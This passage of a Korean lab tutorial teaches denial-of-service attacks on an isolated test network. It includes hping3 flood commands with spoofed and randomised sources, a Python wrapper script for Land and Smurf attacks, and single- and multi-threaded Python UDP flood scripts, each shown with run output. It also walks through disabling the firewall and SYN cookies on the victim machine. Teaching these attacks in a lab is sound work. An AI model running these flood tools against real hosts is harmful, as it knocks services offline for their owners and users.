HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
</code></pre><blockquote>
<p><strong>실습&gt; Single Thread VS Multi Thread</strong></p>
</blockquote>
<p>7초 정도 패킷을 전송하고 전송된 패킷 수를 비교한다.
💥💥💥</p>
<pre><code>&gt;&gt;&gt; 결론 &lt;&lt;&lt;
싱글 쓰레드로 실행한 경우: 7.446초에 패킷 카운트 414,607개 전송
멀티 쓰레드로 실행한 경우: 7.169초에 패킷 카운트 2,106,329개 전송 (싱글 쓰레드보다 5배 차이)

1. Single Thread
싱글 쓰레드로 실행한 경우: 7.565초에 패킷 카운트 414,607

패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack.py 200.200.200.6 0
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
414607 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real    0m7.565s
user    0m0.029s
sys    0m7.446s

패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
  :
  :(생략)
15:37:59.274362 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 6407, seq 2374, length 8
15:37:59.274391 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 6407, seq 2630, length 8
^C
139330 packets captured
414608 packets received by filter  &lt;-- 전송된 패킷 개수
275278 packets dropped by kernel


2. Multi Thread
멀티 쓰레드로 실행한 경우: 7초에 패킷 카운트 2106329 
- 싱글 쓰레드보다 5배 차이가 발생되었다.

패킷을 모니터링 한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp

공격 모드로 패킷을 전송한다.
[root@kali ~]# time ./landAttack2.py 200.200.200.6 0
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
HPING 200.200.200.6 (eth0 200.200.200.6): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
630470 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 200.200.200.6 hping statistic ---
726313 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

--- 200.200.200.6 hping statistic ---
749543 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real    0m7.169s
user    0m2.575s
sys    0m14.850s

패킷을 모니터링을 중지하고 패킷의 받은 개수를 확인한다.
[root@localhost ~]# tcpdump -nn -i ens33 not port 22 and icmp
  :
  :(생략)
15:41:04.617637 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 22279, seq 56431, length 8
15:41:04.617639 IP 200.200.200.6 &gt; 200.200.200.6: ICMP echo request, id 22279, seq 56687, length 8
^C
136289 packets captured
2106329 packets received by filter  &lt;-- 전송된 패킷 개수
1970040 packets dropped by kernel</code></pre><blockquote>
<p><strong>실습&gt; Smurf Attack</strong></p>
</blockquote>
<p>Smurf Attack:
출발지 IP주소를 Victim으로 설정하고 목적지 네트워크의 브로드캐스트로 설정해서 패킷을 전송하는 공격이다.
패킷을 받은 네트워크에서 각 호스트로 패킷을 전송한다.
전송받은 호스트는 Victim에게 패킷을 전송한다. </p>
<pre><code>1. 공격 시도
-1 or --icmp : ICMP mode 옵션
--flood: 패킷을 빠르게 보내는 옵션
-a or --spoof: 출발지 IP주소를 스푸핑하는 옵션
[root@kali ~]# hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood

2. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
14:00:36.869890 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 10533, seq 37030, length 8
14:00:36.869899 IP 200.200.200.6 &gt; 200.200.200.255: ICMP echo request, id 10533, seq 37286, length 8
14:00:36.869934 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 10533, seq 37286, length 8
14:00:36.870021 IP 200.200.200.6 &gt; 200.200.200.255: ICMP echo request, id 10533, seq 37542, length 8
14:00:36.870024 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 10533, seq 37542, length 8</code></pre><blockquote>
<p>*<em>실습&gt; 인수 체크 *</em></p>
</blockquote>
<pre><code>[root@kali ~]# vi argvTest.py
#!/bin/python
&quot;&quot;&quot;
# 파일명: argvTest.py
# 프로그램 설명: 인수 체크
# 작성자: 리눅스마스터넷
# 버전: 2023031601
&quot;&quot;&quot;

import sys

# argv
argc = len(sys.argv)
print(argc)
print(sys.argv)

# 명령어만 쓰면 사용법을 출력하고 프로세를 종료한다.
if argc ==  1:
    sys.stderr.write(f&quot;Usage: {sys.argv[0]} victim debug&quot;)
    sys.exit(1)

print(f&quot;{sys.argv[0]} {sys.argv[1]}  {sys.argv[2]} &quot;)

[root@kali ~]# chmod 755 argvTest.py 
[root@kali ~]# ./argvTest.py
1
[&#39;./argvTest.py&#39;]
Usage: ./argvTest.py victim debug
[root@kali ~]# ./argvTest.py 200.200.200.6 1
3
[&#39;./argvTest.py&#39;, &#39;200.200.200.6&#39;, &#39;1&#39;]
./argvTest.py 200.200.200.6  1 
</code></pre><blockquote>
<p><strong>실습&gt; 공격 툴 작성</strong></p>
</blockquote>
<pre><code>[root@kali ]# vi dosAttack.py
#!/usr/bin/env python
# 파일명: dosAttack.py
# 프로그램 설명: Land Attack, Smurf Attack을 지원하는 DoS 공격 툴 
# 작성자: 리눅스마스터넷
# 버전: 2023031601
# argc: 3개 landAttack 공격 시도
# argc: 4개 smurfAttack 공격 시도

import sys
import os

argc = len(sys.argv) 
if  argc != 3 and argc != 4:
    help  = f&#39;Land Attak Usage: {sys.argv[0]} victimIP debug\n&#39;
    help += &#39;victimIP: 공격 대상\n\n&#39;
    help += f&#39;Smurf Attak Usage: {sys.argv[0]} BroadCastIP victimIP debug\n&#39;
    help += &#39;BroadCastIP: 공격 대상 브로드캐스트\n&#39;
    help += &#39;victimIP: 공격 대상\n\n&#39;
    help += &#39;debug: 디버그 유무\n&#39;
    help += &#39;- 1: 디버그 모드\n&#39;
    help += &#39;- 0: 공격 모드&#39;

    print(help)
    sys.exit(1)

if argc == 3: # Land Attack
    victimIP  = sys.argv[1]
    debugMode = sys.argv[2]

    def landAttack(victimIP, debug):
        &quot;&quot;&quot;
        함수 기능: Land Attack을 공격하는 함수
        인수:
        - victimIP: 공격 대상의 IP주소
        - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
        리턴값: 없음.
        &quot;&quot;&quot;

        srcIP = victimIP
        dstIP = srcIP
        landAttackCmd = f&#39;hping3 {srcIP} -a {dstIP} --icmp --flood&#39;

        if debug == &#39;1&#39;:
            print(&quot;&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;&quot;)
            print(landAttackCmd)
        else:
            print(&quot;&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;&quot;)
            os.system(landAttackCmd)

    landAttack(victimIP, debugMode)

if argc == 4: # SmLand Attack

    victimNetwork = sys.argv[1]
    victimIP      = sys.argv[2]
    debugMode     = sys.argv[3]

    def smurfAttack(victimNetwork, victimIP, debug):
        &quot;&quot;&quot;
        함수 기능: Smurf Attack을 공격하는 함수
        인수:
        - victimNetwork: 공격 대상의 다이렉트 브로드캐스트주소
        - victimIP: 공격 대상의 IP주소
        - debug: 디버그 유무 (1: 디버그 모드, 0: 공격 모드)
        리턴값: 없음.
        &quot;&quot;&quot;

        srcIP = victimNetwork
        dstIP = victimIP
        # hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood
        smurfAttackCmd = f&#39;hping3 {srcIP} -a {dstIP} --icmp --flood&#39;

        if debug == &#39;1&#39;:
            print(&quot;&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;&quot;)
            print(smurfAttackCmd)
        else:
            print(&quot;&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;&quot;)
            os.system(smurfAttackCmd)

smurfAttack(victimNetwork, victimIP, debugMode)


[root@victim3 ~]# tcpdump -i ens33 icmp -nn

[root@kali ~]# chmod 755 dosAttack.py

[root@kali ~]# ./dosAttack.py 200.200.200.255 200.200.200.6 1
&gt;&gt;&gt; 디버그 모드 &lt;&lt;&lt;
hping3 200.200.200.255 -a 200.200.200.6 --icmp --flood


[root@kali bin]# ./dosAttack.py 200.200.200.255 200.200.200.6 0
&gt;&gt;&gt; 공격 모드 &lt;&lt;&lt;
HPING 200.200.200.255 (eth0 200.200.200.255): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

[root@victim3 ~]# tcpdump -i ens33 icmp -nn
  :
  :(생략)
15:01:51.210373 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 16223, seq 50670, length 8
15:01:51.210374 IP 200.200.200.6 &gt; 200.200.200.255: ICMP echo request, id 16223, seq 50926, length 8
15:01:51.210375 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 16223, seq 50926, length 8
15:01:51.210407 IP 200.200.200.6 &gt; 200.200.200.255: ICMP echo request, id 16223, seq 51182, length 8
15:01:51.210437 IP 200.200.200.2 &gt; 200.200.200.6: ICMP echo reply, id 16223, seq 51182, length 8
15:01:51.210439 IP 200.200.200.6 &gt; 200.200.200.255: ICMP echo request, id 16223, seq 51438, length 8
</code></pre><p>TCP 상태 천이 다이어그램
<a href="https://cafe.naver.com/linuxmasternet/1813">https://cafe.naver.com/linuxmasternet/1813</a></p>
<blockquote>
<p><strong>실습&gt; TCP SYN Flooding</strong></p>
</blockquote>
<p>Attacker가 Victim에게 TCP SYN 패킷을 무수히 보내서 Victim에 부하가 걸리게 하는 공격이다.</p>
<pre><code>1. 웹서버 시작
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# iptables -F
[root@victim3 ~]# systemctl start httpd

공격자 패킷을 분석하기 위해서 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn

2. 첫 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -S -c 10000 -p 80 200.200.200.6

공격에 의해서 서버는 부하가 걸린다.

3. 두 번째 공격 시도
TCP: default mode 이므로 옵션을 따로 지정할 필요가 없다.
-a: Source IP Address Spoofing
-S: SYN 패킷
-c: 카운트
-p: 포트 주소
[root@kali ~]# hping3 -a 200.200.200.1 -S -c 10000 -p 80 --flood 200.200.200.6

호스트 OS에서 작업관라자 &gt; 성능 &gt; VMnet8을 모니터링 한다.
패킷 처리량의 그래프의 변화되는 것을 확인한다.

4. 세 번째 공격 시도
네트워크 상태를 모니터링한다.
[root@victim3 ~]# netstat -nat 1

들어오는 패킷을 모니터링한다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn


--rand-source: IP주소 랜덤화 (실제 외부로 SYN/ACK 패킷을 보내기 때문에 5초만 테스트 한다.)
[root@kali ~]# hping3 --rand-source -S -c 10000 -p 80 --flood 200.200.200.6
HPING 200.200.200.6 (eth0 200.200.200.6): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 200.200.200.6 hping statistic ---
328467 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

real    0m5.460s
user    0m0.119s
sys    0m5.225s

실제 공격자의 SYN 패킷을 받은 경우 아래와 같다. 
IP주소를 spoofing해서 들어왔기 때문에 SYN_RECV 가 표시가 된다.
[root@web#1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 200.200.200.6:53        0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.6:80        250.20.167.163:5231     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.68.2.209:5121       SYN_RECV   
tcp        0      0 200.200.200.6:80        248.99.235.222:1865     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.205.162.178:1848    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.140.235.186:5717    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.196.51.236:4441     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.230.17.222:3632     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.115.64.192:4992     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.179.3.209:4969      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.234.6.41:2088       SYN_RECV   
tcp        0      0 200.200.200.6:80        254.93.123.236:1918     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.85.149.68:3675      SYN_RECV   
tcp        0      0 200.200.200.6:80        245.216.68.129:2675     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.123.96.245:1733     SYN_RECV   
tcp        0      0 200.200.200.6:80        244.232.20.236:2900     SYN_RECV   
tcp        0      0 200.200.200.6:80        250.15.220.236:5140     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.163.126.156:6257    SYN_RECV   
tcp        0      0 200.200.200.6:80        250.43.34.241:2516      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.68.29.156:5299      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.148.98.19:2734      SYN_RECV   
tcp        0      0 200.200.200.6:80        241.86.115.213:1785     SYN_RECV   
tcp        0      0 200.200.200.6:80        242.48.206.213:7245     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.135.29.251:4129     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.251.213.6:1837      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.236.25.20:1622      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.113.227.113:5180    SYN_RECV   
tcp        0      0 200.200.200.6:80        254.130.228.205:4737    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.84.227.89:1669      SYN_RECV   
tcp        0      0 200.200.200.6:80        243.71.56.186:2770      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.140.86.219:1619     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.110.22.71:4538      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.231.21.248:2390     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.10.251.61:4758      SYN_RECV   
tcp        0      0 200.200.200.6:80        241.96.228.211:2496     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.162.255.194:3332    SYN_RECV   
tcp        0      0 200.200.200.6:80        244.121.110.243:2111    SYN_RECV   
tcp        0      0 200.200.200.6:80        241.3.78.236:5015       SYN_RECV   
tcp        0      0 200.200.200.6:80        241.96.17.250:4592      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.89.96.17:3745       SYN_RECV   
tcp        0      0 200.200.200.6:80        254.2.135.194:2910      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.40.175.145:2487     SYN_RECV   
tcp        0      0 200.200.200.6:80        248.248.99.29:1963      SYN_RECV   
tcp        0      0 200.200.200.6:80        255.230.61.254:3305     SYN_RECV   
tcp        0      0 200.200.200.6:80        245.192.44.153:1520     SYN_RECV   
tcp        0      0 200.200.200.6:80        254.41.198.123:1605     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.157.255.228:4802    SYN_RECV   
tcp        0      0 200.200.200.6:80        255.80.234.235:4307     SYN_RECV   
tcp        0      0 200.200.200.6:80        255.41.15.219:2983      SYN_RECV   
tcp        0      0 200.200.200.6:80        245.225.78.98:5600      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.183.126.43:1889     SYN_RECV   
tcp        0      0 200.200.200.6:80        241.128.59.129:4423     SYN_RECV   
tcp        0      0 200.200.200.6:80        250.21.135.50:3592      SYN_RECV   
tcp        0      0 200.200.200.6:80        254.135.80.178:2498     SYN_RECV   
tcp        0      0 200.200.200.6:80        243.46.236.82:5595      SYN_RECV   
tcp        0      0 200.200.200.6:80        248.80.103.68:2873      SYN_RECV   
tcp        0      0 200.200.200.6:80        251.136.207.202:6260    SYN_RECV   
tcp        0      0 200.200.200.6:80        245.231.209.110:3945    SYN_RECV   
tcp        0      0 200.200.200.6:22        200.200.200.1:25785     ESTABLISHED
tcp        0      0 200.200.200.6:22        200.200.200.1:25101     ESTABLISHED
tcp        0      0 200.200.200.6:22        200.200.200.1:25554     ESTABLISHED
tcp6       0      0 ::1:53                  :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::8888                 :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     
tcp6       0      0 ::1:953                 :::*                    LISTEN     
tcp6       0      0 ::1:6010                :::*                    LISTEN     
tcp6       0      0 ::1:6011                :::*                    LISTEN     
tcp6       0      0 ::1:6012                :::*                    LISTEN     
tcp6       0      0 :::111                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
^C</code></pre><blockquote>
<p><strong>실습&gt; 파이썬 프로그램으로 패킷 확인하기</strong></p>
</blockquote>
<pre><code>[root@victim ~]# iptables -F
[root@victim ~]# iptables -A INPUT -p tcp --dport 80 -j ACCEPT
[root@victim ~]# yum -y install python3


[root@victim ~]# vi iptablesTest.py
#!/usr/bin/env python3
# 파일명: iptablesTest.py
# 프로그램 설명: iptables 모니터링
# 작성자: 리눅스마스터넷
# 작성일: 2023031601

import subprocess

# import os
# os.system(&#39;명령어&#39;)
# import subprocess
# subprocess.call(&#39;명령어&#39;)

# 변수 설정
count = 1
cmd = &#39;clear; iptables -nvL INPUT; sleep 1&#39;
# cmd = &#39;watch iptables -nvL INPUT&#39;


# 트래픽 초기화
subprocess.call(&#39;iptables -Z&#39;, shell=True)

while 1:
    try:
        subprocess.call(cmd, shell=True)
    # Ctrl + C 가 발생되면
    #except KeyboardInterrupt:  
    except:      # 또 다른 예외가 발생되서 모두 처리함.
        print() 
        break
    count += 1

#print(&#39;count: %d&#39; %count)
#print(&#39;count: {}&#39;.format(count))
print(f&#39;count: {count}&#39;)

[root@victim ~]# chmod 755 iptablesTest.py
[root@victim ~]# ./iptablesTest.py

[root@kali ~]# hping3  -S -c 10000 -p 80 --flood 200.200.200.6
[root@victim ~]# ./iptablesTest.py 
  :
  :(생략)
Chain INPUT (policy ACCEPT 22 packets, 976 bytes)
 pkts bytes target     prot opt in     out     source               destination         
1151K   46M ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80
^C
count: 23

</code></pre><blockquote>
<p><strong>실습&gt; TCP SYN flooding 공격 확인하기</strong></p>
</blockquote>
<pre><code>1. 웹페이지 생성
[root@victim3 ~]# echo Welcome to 200.200.200.6 Serer. &gt; /var/www/html/index.html 

2. 웹사이트 접속
공격자가 공격을 하지 않은 경우
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.

공격자가 공격을 한 경우
테스트를 위해서 syncookies 를 비활성화 시킨다.
[root@victim3 ~]# echo 0 &gt; /proc/sys/net/ipv4/tcp_syncookies 
[root@victim3 ~]# iptables -F
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn


사용하지 않는 IP주소인 200.200.200.200으로 스푸핑해서 접속을 시도한다.
-S: SYN
-c 10000: 패킷 10,000개
-p 80: 80번 포트
--flood: 최대한 빠르게
200.200.200.6: victim
-a 200.200.200.200: 출발지 IP주소 200.200.200.200 스푸핑
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.6 -a 200.200.200.200

TCP 상태를 확인하면 SYN_RECV가 출력되는 것을 확인할 수 있다.
[root@victim3 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 200.200.200.6:53        0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6012          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6013          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.6:80        200.200.200.200:2911    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2104    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2502    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2032    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2029    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2683    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2685    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2783    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2928    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2722    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2499    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2501    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2555    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:2109    SYN_RECV   
tcp        0      0 200.200.200.6:80        200.200.200.200:3772    SYN_RECV   
  :
  :(생략)

load average: 시스템의 부하를 나타내는 평균값으로 1분, 5분, 15분 단의의 평균값을 표시한다.
[root@victim3 ~]# w
 12:44:04 up  3:54,  5 users,  load average: 0.63, 0.46, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      08:53    3:50m  0.01s  0.01s -bash
root     pts/0    200.200.200.1    12:39    4.00s  0.08s  0.05s w
root     pts/1    200.200.200.1    09:46    1:48  17.18s 16.97s tcpdump -i ens33 port 80 -nn
root     pts/2    200.200.200.1    10:16    2:07m  0.03s  0.03s -bash
root     pts/3    200.200.200.1    10:37    6:28   0.65s  0.00s sleep 1

tcpdump로 패킷을 확인해보면 200.200.200.200으로 패킷이 들어오는 것을 확인할 수 있다.
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn
  :
  :(생략)
12:51:14.865460 IP 200.200.200.200.24512 &gt; 200.200.200.6.80: Flags [S], seq 11378400, win 512, length 0
12:51:14.865509 IP 200.200.200.200.24513 &gt; 200.200.200.6.80: Flags [S], seq 1397149784, win 512, length 0
12:51:14.865513 IP 200.200.200.200.24514 &gt; 200.200.200.6.80: Flags [S], seq 1533344206, win 512, length 0
12:51:14.865565 IP 200.200.200.200.24519 &gt; 200.200.200.6.80: Flags [S], seq 742954563, win 512, length 0
12:51:14.865570 IP 200.200.200.200.24520 &gt; 200.200.200.6.80: Flags [S], seq 682209371, win 512, length 0
12:51:14.865641 IP 200.200.200.200.24525 &gt; 200.200.200.6.80: Flags [S], seq 1930252330, win 512, length 0
12:51:14.865646 IP 200.200.200.200.24526 &gt; 200.200.200.6.80: Flags [S], seq 1353693199, win 512, length 0
12:51:14.865647 IP 200.200.200.200.24527 &gt; 200.200.200.6.80: Flags [S], seq 604095803, win 512, length 0
12:51:14.865648 IP 200.200.200.200.24528 &gt; 200.200.200.6.80: Flags [S], seq 1010262610, win 512, length 0
12:51:14.865691 IP 200.200.200.200.24529 &gt; 200.200.200.6.80: Flags [S], seq 1009856538, win 512, length 0
12:51:14.865703 IP 200.200.200.200.24530 &gt; 200.200.200.6.80: Flags [S], seq 1254281219, win 512, length 0
12:51:14.865706 IP 200.200.200.200.24531 &gt; 200.200.200.6.80: Flags [S], seq 983991207, win 512, length 0

syncookies 가 Off로 설정되어 있어서 바로 서버에서 받아들일 수 없는 상태가 된다.
http://200.200.200.6/

사이트에 연결할 수 없음200.200.200.6에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT

3. 시각화 확인
호스트 OS에서 작업관리자 &gt; 성능
CPU, 이더넷의 처리량을 확인한다.
[root@kali ~]# time hping3 -S -c 10000 -p 80 --flood 200.200.200.1 -a 200.200.200.200

4. 복구
테스트가 완료되면 sync cookies 를 다시 활성화시킨다.
echo 1 &gt; /proc/sys/net/ipv4/tcp_syncookies 
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies=1
[root@victmp ~]# sysctl net.ipv4.tcp_syncookies
net.ipv4.tcp_syncookies = 1

syncookies 기능이 On으로 설정한 후 서버로 접속하면 서버에서 받아들일 수 상태이므로 웹 페이지가 바로 뜬다.
http://200.200.200.6/
Welcome to 200.200.200.6 Serer.
</code></pre><blockquote>
<p>*<em>실습&gt; udp flooding *</em></p>
</blockquote>
<p>UDP flooding: 대역폭 고갈 공격</p>
<pre><code>1. 공격 시도
[root@kali ~]# hping3 200.200.200.1 -a 200.200.200.200 -p 80 --udp --flood 

2. 시각화 확인
호스트 OS에서 작업관리자 &gt; 성능 &gt; CPU, 이더넷의 처리량을 확인한다.</code></pre><blockquote>
<p><strong>실습&gt; 파이썬으로 udp flooding 제작하기</strong></p>
</blockquote>
<pre><code>1. 공격 코드 작성
[root@kali ~]# vi udpFlooding.py 
#!/usr/bin/env python3
# 파일명: udpFlooding.py
# 작성자: 리눅스 마스터넷

import socket
import random
import sys

# arguments count
argc = len(sys.argv)

if argc != 3:
    print(f&#39;Usage: {sys.argv[0]} TargetIP Port&#39;)
    sys.exit(1)

target = sys.argv[1]
port   = int(sys.argv[2])
count  = 1

banner = &quot;&quot;&quot;\
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...
&quot;&quot;&quot;

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)

print(banner)

try:
    while 1:
        s.sendto(bytes, (target, port))
        print(f&#39;sent packets: {count}\r&#39;, end=&#39;&#39;)
        count += 1
except:
    print()


[root@kali ~]# chmod 755 udpFlooding.py 
[root@kali ~]# ./udpFlooding.py 
Usage: ./udpFlooding.py TargetIP Port

[root@kali ~]# ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...

sent packets: 190158

2. 시각화 확인
호스트 OS에서 작업관리자 &gt; 성능 &gt; CPU, 이더넷의 처리량을 확인한다.
CPU 100%

3. 패킷 전송 중지
[root@kali ~]# time ./udpFlooding.py 200.200.200.1 80
#########################
## UDP flooding Attack ##
#########################
UDP 패킷 전송중 ...

^Cnt packets: 11633065

real    10m38.861s
user    0m59.160s
sys    9m17.567s</code></pre><blockquote>
<p><strong>실습&gt; 멀티 쓰레드로 변환하기</strong></p>
</blockquote>
<p>참고 소스 udpFlooding.py -&gt; udpFlooding2.py </p>
<pre><code>1. 공격 코드 작성
[root@kali ~]# vi udpFlooding2.py 
#!/usr/bin/env python3
# 파일명: udpFlooding2.py
# 작성자: 리눅스 마스터넷

import socket
import random
import sys

# arguments count
argc = len(sys.argv)

if argc != 3:
    print(f&#39;Usage: {sys.argv[0]} TargetIP Port&#39;)
    sys.exit(1)

target = sys.argv[1]
port   = int(sys.argv[2])

#  V 블럭 -&gt;   &gt; 
def udpFlooding():
    banner = &quot;&quot;&quot;\
    #########################
    ## UDP flooding Attack ##
    #########################
    UDP 패킷 전송중 ...
    &quot;&quot;&quot;

    count  = 1
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(1024)

    print(banner)
    print(target, port)


    try:
        while 1:
            s.sendto(bytes, (target, port))
            print(f&#39;sent packets: {count}\r&#39;, end=&#39;&#39;)
            count += 1
    except:
        print()


import threading
attack1 = threading.Thread(target=udpFlooding)  # sub thread 
attack2 = threading.Thread(target=udpFlooding)  # sub thread 
attack1.start()
attack2.start()

udpFlooding()  # main thread


2. 시각화 확인
호스트 OS에서 작업관리자 &gt; 성능 &gt; CPU, 이더넷의 처리량을 확인한다.
CPU 100%

3. 공격 시도
[root@kali ~]# ./udpFlooding2.py 200.200.200.1 80




&gt;&gt;&gt; bps, cps, BPS, pps 용어 &lt;&lt;&lt;
bps(bit per second)
초당 전송되는 bit수, 2048kbps = 2048000bits의 데이터 전송을 의미

BPS(Byte per second)
초당 전송되는 Byte수, 2048kbps는 초당 2048000bits / 8 = 256000Bytes의 데이터 전송을 의미

cps(character per second)
초당 전송되는 Character(문자)의 수(한 문자는 8bits) BPS와 같은 의미

